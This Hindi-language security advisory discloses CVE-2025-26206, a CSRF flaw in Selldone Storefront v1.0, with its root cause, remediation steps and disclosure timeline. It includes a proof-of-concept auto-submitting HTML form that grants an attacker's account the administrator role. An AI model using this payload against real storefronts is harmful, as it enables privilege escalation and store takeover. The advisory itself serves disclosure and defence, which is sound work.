CVE-2025-26206: Sell Done Storefront v.1.0 में क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CSRF)

Selldone Storefront v1.0 में एक गंभीर क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CSRF) कमज़ोरी है, जो दूरस्थ हमलावरों को प्रमाणित उपयोगकर्ताओं को स्टोरफ़्रंट एप्लिकेशन परत के माध्यम से स्थिति-परिवर्तन करने वाले अनुरोध निष्पादित करने के लिए धोखा देकर विशेषाधिकार बढ़ाने की अनुमति देती है। इसकी खोज Sibhi Balamurugan (@xibhi) द्वारा की गई और ज़िम्मेदारीपूर्वक प्रकट की गई।

---

अवलोकन

फ़ील्ड	विवरण
CVE ID	CVE-2025-26206
प्रकार	क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CWE-352)
उत्पाद	Selldone Storefront
प्रभावित संस्करण	v1.0
घटक	index.html / सत्र बूटस्ट्रैप
प्रभाव	विशेषाधिकार वृद्धि / स्टोर अधिग्रहण
CVSS v3.1	9.0 (गंभीर) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
खोजकर्ता	Sibhi Balamurugan (@xibhi)

---

मूल कारण

Selldone Storefront v1.0 में स्थिति-परिवर्तन करने वाले एंडपॉइंट्स पर एंटी-CSRF टोकन सत्यापन का अभाव था, और प्रमाणीकरण कुकीज़ को सख्त क्रॉस-साइट सीमाओं के बिना संग्रहीत किया गया था (SameSite छोड़ा गया)।

जब कोई प्रमाणित स्टोर स्वामी या प्रशासक हमलावर-नियंत्रित वेबपेज पर जाता है, तो ब्राउज़र स्वचालित रूप से क्रॉस-ओरिजिन अनुरोधों के साथ परिवेशी सत्र कुकीज़ संलग्न कर देता है, जिससे पीड़ित की सहमति के बिना विशेषाधिकार प्राप्त संचालन निष्पादित हो जाते हैं।

हमलावर साइट → पीड़ित का ब्राउज़र (सत्र रखता है) → Selldone API (कुकी भेजी गई, कोई CSRF जाँच नहीं) → भूमिका बदली गई

---

प्रमाण अवधारणा (PoC)

एक हमलावर एक विशेषाधिकार प्राप्त एंडपॉइंट को लक्षित करने वाले स्वतः-सबमिट होने वाले फ़ॉर्म वाला एक दुर्भावनापूर्ण पेज होस्ट करता है:

<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
  <input type="hidden" name="user_id" value="attacker_id" />
  <input type="hidden" name="role" value="administrator" />
</form>
<script>
  document.getElementById("csrf").submit();
</script>

जब कोई प्रमाणित प्रशासक उस पेज पर जाता है, तो ब्राउज़र उनके क्रेडेंशियल्स के साथ अनुरोध सबमिट करता है, जिससे हमलावर का खाता उन्नत हो जाता है।

---

उपचार

1. एंटी-CSRF टोकन: सभी गैर-GET अनुरोधों (POST, PUT, DELETE, PATCH) पर एक सत्यापित X-CSRF-TOKEN या सिंक्रोनाइज़र टोकन आवश्यक करें।
2. कुकी सुरक्षा: सत्र कुकीज़ पर SameSite=Lax या SameSite=Strict, साथ ही Secure और HttpOnly फ़्लैग सेट करें।
3. ओरिजिन सत्यापन: सभी स्थिति-परिवर्तन करने वाले एंडपॉइंट्स पर Origin और Referer हेडर सत्यापित करें।
4. अपडेट: Selldone Storefront के नवीनतम रिलीज़ में अपग्रेड करें।

---

प्रकटीकरण समयरेखा

तिथि	मील का पत्थर
फ़रवरी 2025	खोजा गया और विक्रेता को रिपोर्ट किया गया।
24 फ़रवरी, 2025	प्रारंभिक सलाह प्रकाशित।
03 मार्च, 2025	NVD प्रविष्टि प्रकाशित।
04 मार्च, 2025	NVD को CVSS 9.0 (गंभीर) पर स्कोर किया गया।

---

संदर्भ और श्रेय

• NVD प्रविष्टि (CVE-2025-26206)
• MITRE रिकॉर्ड
• Selldone Storefront रिपॉज़िटरी
• OWASP CSRF रोकथाम चीट शीट

खोजकर्ता: सिबी बालामुरुगन (@xibhi)

---

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।